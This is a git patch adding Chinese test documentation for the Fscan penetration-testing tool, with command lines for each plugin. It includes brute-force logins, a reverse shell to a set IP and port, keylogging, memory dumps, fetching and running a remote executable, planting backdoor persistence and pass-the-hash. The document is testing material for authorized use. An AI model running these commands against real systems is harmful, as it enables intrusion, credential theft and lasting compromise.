From 8606af2f32b8105893d5cb6a965abbd31f5b4ad6 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Tue, 2 Sep 2025 02:08:36 +0000 Subject: [PATCH] =?UTF-8?q?docs:=20=E6=B7=BB=E5=8A=A0=E5=AE=8C=E6=95=B4?= =?UTF-8?q?=E7=9A=84=E6=8F=92=E4=BB=B6=E9=A5=B1=E5=92=8C=E6=80=A7=E6=B5=8B?= =?UTF-8?q?=E8=AF=95=E6=96=87=E6=A1=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 覆盖所有47个插件模块的测试方案 - 包含服务插件、Web插件、本地插件三大类测试 - 提供Docker环境快速部署脚本 - 包含性能测试、稳定性测试、安全性测试 - 提供详细的验证标准和测试报告模板 - 涵盖内网渗透、外网侦察、横向移动等实战场景 --- PLUGIN_TESTING.md | 677 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 677 insertions(+) create mode 100644 PLUGIN_TESTING.md diff --git a/PLUGIN_TESTING.md b/PLUGIN_TESTING.md new file mode 100644 index 0000000..239ba16 --- /dev/null +++ b/PLUGIN_TESTING.md @@ -0,0 +1,677 @@ +# Fscan 插件饱和性测试文档 + +## 概述 + +本文档用于全面测试Fscan v2.2.1的所有插件模块,确保每个组件都能正常工作。测试分为三大类:**服务插件**、**Web插件**和**本地插件**。 + +--- + +## 测试环境要求 + +### 基础环境 +- Linux/Windows测试环境 +- Docker容器(用于快速部署测试服务) +- 网络连接(用于外部服务测试) +- 管理员权限(用于本地插件测试) + +### 测试目标服务器 +建议使用Docker快速部署以下服务: +```bash +# MySQL +docker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7 + +# Redis +docker run -d -p 6379:6379 redis:alpine + +# MongoDB +docker run -d -p 27017:27017 mongo:4.4 + +# PostgreSQL +docker run -d -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13 + +# SSH服务 +docker run -d -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server + +# FTP服务 +docker run -d -p 21:21 -p 30000-30009:30000-30009 -e FTP_USER=test -e FTP_PASS=test fauria/vsftpd + +# SMB/CIFS +docker run -d -p 139:139 -p 445:445 dperson/samba -u "test;test" -s "share;/tmp;yes;no;yes" +``` + +--- + +## 1. 服务插件测试 (Services Plugins) + +### 1.1 数据库服务测试 + +#### MySQL插件测试 +```bash +# 基础连接测试 +./fscan -h 127.0.0.1:3306 -m mysql + +# 暴力破解测试 +./fscan -h 127.0.0.1:3306 -user root -pwd "123456,admin,mysql" + +# 自定义字典测试 +echo "root" > users.txt +echo -e "123456\nadmin\nmysql" > passwords.txt +./fscan -h 127.0.0.1:3306 -userf users.txt -pwdf passwords.txt +``` + +**验证标准:** +- [ ] 能正确识别MySQL服务 +- [ ] 能进行版本探测 +- [ ] 能执行暴力破解攻击 +- [ ] 成功时显示版本信息和权限 + +#### PostgreSQL插件测试 +```bash +# 基础测试 +./fscan -h 127.0.0.1:5432 -m postgresql + +# 暴力破解 +./fscan -h 127.0.0.1:5432 -user postgres -pwd "postgres,admin,123456" +``` + +**验证标准:** +- [ ] 正确识别PostgreSQL服务 +- [ ] 显示版本信息 +- [ ] 暴力破解功能正常 + +#### MongoDB插件测试 +```bash +# 无认证连接测试 +./fscan -h 127.0.0.1:27017 -m mongodb + +# 认证连接测试(如果有密码) +./fscan -h 127.0.0.1:27017 -user admin -pwd "admin,mongodb,123456" +``` + +**验证标准:** +- [ ] 检测MongoDB服务 +- [ ] 识别未授权访问 +- [ ] 显示数据库列表(如果有权限) + +#### MSSQL插件测试 +```bash +# SQL Server测试(需要MSSQL容器) +./fscan -h target:1433 -m mssql -user sa -pwd "Password123,admin,sa" +``` + +#### Redis插件测试 +```bash +# 基础连接测试 +./fscan -h 127.0.0.1:6379 -m redis + +# 未授权访问测试 +./fscan -h 127.0.0.1:6379 + +# 写入测试(危险操作,仅测试环境) +./fscan -h 127.0.0.1:6379 -rs reverse_shell_command +``` + +**验证标准:** +- [ ] 检测Redis服务 +- [ ] 识别未授权访问 +- [ ] 能执行info命令 +- [ ] 支持写入操作(如果有权限) + +#### Oracle插件测试 +```bash +# Oracle测试(需要Oracle容器) +./fscan -h target:1521 -m oracle -user system -pwd "oracle,admin,123456" +``` + +### 1.2 网络服务测试 + +#### SSH插件测试 +```bash +# SSH暴力破解测试 +./fscan -h 127.0.0.1:22 -m ssh -user "root,admin,ubuntu" -pwd "123456,admin,root" + +# SSH密钥测试 +./fscan -h 127.0.0.1:22 -sshkey /path/to/private_key +``` + +**验证标准:** +- [ ] 正确识别SSH服务 +- [ ] 显示SSH版本和算法 +- [ ] 暴力破解功能正常 +- [ ] 支持密钥认证 + +#### FTP插件测试 +```bash +# FTP连接测试 +./fscan -h 127.0.0.1:21 -m ftp + +# FTP暴力破解 +./fscan -h 127.0.0.1:21 -user "ftp,anonymous,admin" -pwd "ftp,123456,admin" +``` + +**验证标准:** +- [ ] 检测FTP服务 +- [ ] 支持匿名登录检测 +- [ ] 暴力破解功能正常 +- [ ] 显示FTP banner信息 + +#### Telnet插件测试 +```bash +# Telnet测试 +./fscan -h target:23 -m telnet -user "admin,root" -pwd "admin,123456" +``` + +#### SMB插件测试 +```bash +# SMB服务探测 +./fscan -h 127.0.0.1:445 -m smb + +# SMB共享枚举 +./fscan -h 127.0.0.1:445 -user guest -pwd "" + +# MS17-010漏洞检测 +./fscan -h target:445 -m ms17010 +``` + +**验证标准:** +- [ ] 检测SMB服务版本 +- [ ] 枚举共享目录 +- [ ] 检测已知漏洞 +- [ ] 显示操作系统信息 + +#### SMTP插件测试 +```bash +# SMTP测试 +./fscan -h target:25 -m smtp +./fscan -h target:587 -m smtp +``` + +#### LDAP插件测试 +```bash +# LDAP连接测试 +./fscan -h target:389 -m ldap +./fscan -h target:636 -m ldap # LDAPS +``` + +### 1.3 专用服务测试 + +#### Elasticsearch插件测试 +```bash +# Elasticsearch测试 +./fscan -h 127.0.0.1:9200 -m elasticsearch +``` + +#### Kafka插件测试 +```bash +# Kafka测试 +./fscan -h target:9092 -m kafka +``` + +#### RabbitMQ插件测试 +```bash +# RabbitMQ管理接口测试 +./fscan -h target:15672 -m rabbitmq +./fscan -h target:5672 -m rabbitmq +``` + +#### Memcached插件测试 +```bash +# Memcached测试 +./fscan -h target:11211 -m memcached +``` + +#### Neo4j插件测试 +```bash +# Neo4j测试 +./fscan -h target:7474 -m neo4j +./fscan -h target:7687 -m neo4j +``` + +#### VNC插件测试 +```bash +# VNC测试 +./fscan -h target:5900 -m vnc +``` + +#### RDP插件测试 +```bash +# RDP连接测试 +./fscan -h target:3389 -m rdp +``` + +--- + +## 2. Web插件测试 (Web Plugins) + +### 2.1 Web标题获取测试 +```bash +# HTTP标题获取 +./fscan -u "http://www.example.com" +./fscan -u "https://www.example.com" + +# 批量URL测试 +echo -e "http://www.example.com\nhttps://www.github.com" > urls.txt +./fscan -uf urls.txt + +# 端口扫描+Web检测 +./fscan -h 127.0.0.1 -p 80,443,8080,8443 +``` + +**验证标准:** +- [ ] 正确获取网页标题 +- [ ] 显示HTTP状态码 +- [ ] 识别Web服务器信息 +- [ ] 显示响应长度 +- [ ] 支持HTTPS检测 + +### 2.2 Web POC扫描测试 +```bash +# 启用POC扫描 +./fscan -u "http://target" -full + +# 指定POC名称 +./fscan -u "http://target" -pocname "spring,struts" + +# 自定义POC路径 +./fscan -u "http://target" -pocpath /path/to/pocs/ + +# 禁用POC(对照测试) +./fscan -u "http://target" -nopoc +``` + +**验证标准:** +- [ ] 能加载POC规则 +- [ ] 正确识别已知漏洞 +- [ ] 显示漏洞详细信息 +- [ ] POC并发控制正常 + +### 2.3 指纹识别测试 +```bash +# 启用指纹识别 +./fscan -u "http://target" -fp + +# 指纹+POC组合 +./fscan -u "http://target" -fp -full +``` + +**验证标准:** +- [ ] 识别Web应用类型 +- [ ] 识别中间件信息 +- [ ] 识别CMS类型 +- [ ] 识别技术栈 + +--- + +## 3. 本地插件测试 (Local Plugins) + +> **警告:本地插件测试具有潜在风险,仅在测试环境中执行** + +### 3.1 系统信息收集 +```bash +# 系统信息收集 +./fscan -local systeminfo + +# 环境变量信息 +./fscan -local envinfo + +# 文件信息收集 +./fscan -local fileinfo + +# 域控信息收集 +./fscan -local dcinfo +``` + +**验证标准:** +- [ ] 收集操作系统信息 +- [ ] 枚举环境变量 +- [ ] 查找敏感文件 +- [ ] 识别域环境 + +### 3.2 服务和进程管理 +```bash +# Windows服务管理 +./fscan -local winservice + +# 系统服务管理(Linux) +./fscan -local systemdservice + +# 计划任务(Windows) +./fscan -local winschtask + +# Cron任务(Linux) +./fscan -local crontask +``` + +**验证标准:** +- [ ] 枚举运行服务 +- [ ] 识别计划任务 +- [ ] 显示服务详细信息 +- [ ] 检测异常服务 + +### 3.3 持久化和后门 +```bash +# Windows启动项 +./fscan -local winstartup + +# 注册表查询 +./fscan -local winregistry + +# LD_PRELOAD后门 +./fscan -local ldpreload + +# Shell环境后门 +./fscan -local shellenv +``` + +### 3.4 网络和通信 +```bash +# 反弹Shell +./fscan -local reverseshell -rsh 192.168.1.100:4444 + +# 正向Shell服务器 +./fscan -local forwardshell -fsh-port 4444 + +# SOCKS5代理 +./fscan -local socks5proxy -start-socks5 1080 +``` + +### 3.5 高级功能 +```bash +# 键盘记录 +./fscan -local keylogger -keylog-output keylog.txt + +# 内存转储 +./fscan -local minidump + +# 杀毒软件检测 +./fscan -local avdetect + +# 系统清理 +./fscan -local cleaner +``` + +### 3.6 文件操作 +```bash +# 文件下载 +./fscan -local downloader -download-url "http://example.com/file.exe" -download-path "/tmp/file.exe" + +# 持久化文件植入(Linux) +./fscan -local persistence -persistence-file "/tmp/backdoor.elf" + +# 持久化文件植入(Windows) +./fscan -local persistence -win-pe "C:\\temp\\backdoor.exe" +``` + +--- + +## 4. 综合测试场景 + +### 4.1 内网渗透场景 +```bash +# 完整内网扫描 +./fscan -h 192.168.1.0/24 -p 21,22,23,80,135,139,443,445,1433,3306,3389,5432 + +# 禁用ping的扫描 +./fscan -h 192.168.1.0/24 -np + +# 指定线程数的大规模扫描 +./fscan -h 10.0.0.0/16 -t 1000 -mt 100 +``` + +### 4.2 外网侦察场景 +```bash +# 存活探测 +./fscan -h target.com -ao + +# Web应用测试 +./fscan -h target.com -fp -full + +# 特定端口扫描 +./fscan -h target.com -p 80,443,8080,8443,8888 +``` + +### 4.3 横向移动场景 +```bash +# 凭据重用测试 +./fscan -h 192.168.1.0/24 -user administrator -pwd "Password123" + +# 哈希传递攻击 +./fscan -h 192.168.1.0/24 -hash "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" +``` + +--- + +## 5. 输出和日志测试 + +### 5.1 输出格式测试 +```bash +# 文本格式输出 +./fscan -h target -o result.txt -f txt + +# JSON格式输出 +./fscan -h target -o result.json -f json + +# CSV格式输出 +./fscan -h target -o result.csv -f csv + +# 禁用文件输出 +./fscan -h target -no +``` + +### 5.2 日志级别测试 +```bash +# 详细日志 +./fscan -h target -log all + +# 仅基础信息 +./fscan -h target -log base + +# 静默模式 +./fscan -h target -silent + +# 无颜色输出 +./fscan -h target -nocolor + +# 无进度条 +./fscan -h target -nopg +``` + +--- + +## 6. 性能和稳定性测试 + +### 6.1 高并发测试 +```bash +# 最大线程测试 +./fscan -h 192.168.1.0/24 -t 2000 -mt 200 + +# 超时控制测试 +./fscan -h target -time 10 -wt 30 -gt 300 + +# 重试机制测试 +./fscan -h unreachable_target -retry 5 +``` + +### 6.2 大规模目标测试 +```bash +# C类网段扫描 +./fscan -h 192.168.1.0/24 + +# B类网段扫描(谨慎使用) +./fscan -h 10.0.0.0/16 -t 1000 + +# 文件批量目标 +echo -e "192.168.1.1\n192.168.1.2\n192.168.1.3" > targets.txt +./fscan -hf targets.txt +``` + +--- + +## 7. 代理和网络测试 + +### 7.1 HTTP代理测试 +```bash +# HTTP代理 +./fscan -h target -proxy http://127.0.0.1:8080 + +# SOCKS5代理 +./fscan -h target -socks5 127.0.0.1:1080 + +# 组合使用 +./fscan -u "http://target" -proxy http://proxy:8080 -cookie "session=abc123" +``` + +### 7.2 DNS和网络配置 +```bash +# DNS日志记录 +./fscan -h target.com -dns + +# 用户代理自定义 +./fscan -u "http://target" -cookie "custom=value" + +# 域环境扫描 +./fscan -h target -domain corp.local +``` + +--- + +## 8. 错误处理和边界测试 + +### 8.1 错误输入测试 +```bash +# 无效目标 +./fscan -h "invalid_host" + +# 无效端口 +./fscan -h 127.0.0.1 -p 99999 + +# 无效插件 +./fscan -h 127.0.0.1 -m nonexistent_plugin + +# 无效文件路径 +./fscan -hf /nonexistent/file.txt +``` + +### 8.2 资源限制测试 +```bash +# 内存使用测试(大目标列表) +./fscan -h 0.0.0.0/0 -ao # 不要真的运行这个 + +# 磁盘空间测试(大输出文件) +./fscan -h large_network -o /tmp/large_result.txt +``` + +--- + +## 9. 验证清单 + +### 9.1 功能完整性检查 +- [ ] 所有服务插件都能正常加载和执行 +- [ ] Web插件能正确处理HTTP/HTTPS协议 +- [ ] 本地插件能在对应操作系统上正常运行 +- [ ] 输出格式正确且完整 +- [ ] 日志记录准确无误 + +### 9.2 稳定性检查 +- [ ] 长时间运行无内存泄漏 +- [ ] 高并发场景下无崩溃 +- [ ] 网络异常时能优雅处理 +- [ ] 错误输入不会导致程序异常退出 + +### 9.3 安全性检查 +- [ ] 本地插件不会误伤测试环境 +- [ ] 网络扫描遵循配置的限制 +- [ ] 敏感信息正确处理(不明文显示密码等) +- [ ] 代理配置正确工作 + +--- + +## 10. 测试报告模板 + +### 测试执行记录 +``` +测试日期:____________________ +测试环境:____________________ +Fscan版本:____________________ +Go版本:______________________ + +插件测试结果: +□ 服务插件 (____/25 通过) +□ Web插件 (____/2 通过) +□ 本地插件 (____/20 通过) + +性能测试结果: +□ 并发性能测试通过 +□ 内存使用测试通过 +□ 网络异常处理测试通过 + +发现的问题: +1. ________________________ +2. ________________________ +3. ________________________ + +测试建议: +1. ________________________ +2. ________________________ +3. ________________________ + +测试人员签名:____________________ +``` + +--- + +## 附录 + +### A. Docker测试环境快速部署脚本 +```bash +#!/bin/bash +# 快速部署测试服务脚本 +echo "部署MySQL..." +docker run -d --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7 + +echo "部署Redis..." +docker run -d --name redis-test -p 6379:6379 redis:alpine + +echo "部署PostgreSQL..." +docker run -d --name postgres-test -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13 + +echo "部署SSH..." +docker run -d --name ssh-test -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server + +echo "测试服务部署完成!" +``` + +### B. 清理测试环境脚本 +```bash +#!/bin/bash +# 清理测试容器 +docker stop mysql-test redis-test postgres-test ssh-test +docker rm mysql-test redis-test postgres-test ssh-test +rm -f result.* *.txt *.json *.csv keylog.txt +echo "测试环境清理完成!" +``` + +### C. 常用测试命令备忘 +```bash +# 快速本地服务扫描 +./fscan -h 127.0.0.1 -p 21,22,80,135,139,443,445,1433,3306,3389,5432,6379 + +# 完整功能测试 +./fscan -h 127.0.0.1 -fp -full -log all + +# 性能基准测试 +time ./fscan -h 192.168.1.0/24 -t 500 +``` + +--- + +**注意事项:** +1. 本测试文档仅用于授权的安全测试环境 +2. 禁止在生产环境或未授权系统上执行测试 +3. 部分本地插件可能需要管理员权限 +4. 测试过程中请备份重要数据 +5. 如发现安全漏洞,请负责任地披露 + +**版本:** v1.0 +**更新日期:** 2025-09-02 +**适用于:** Fscan v2.2.1 \ No newline at end of file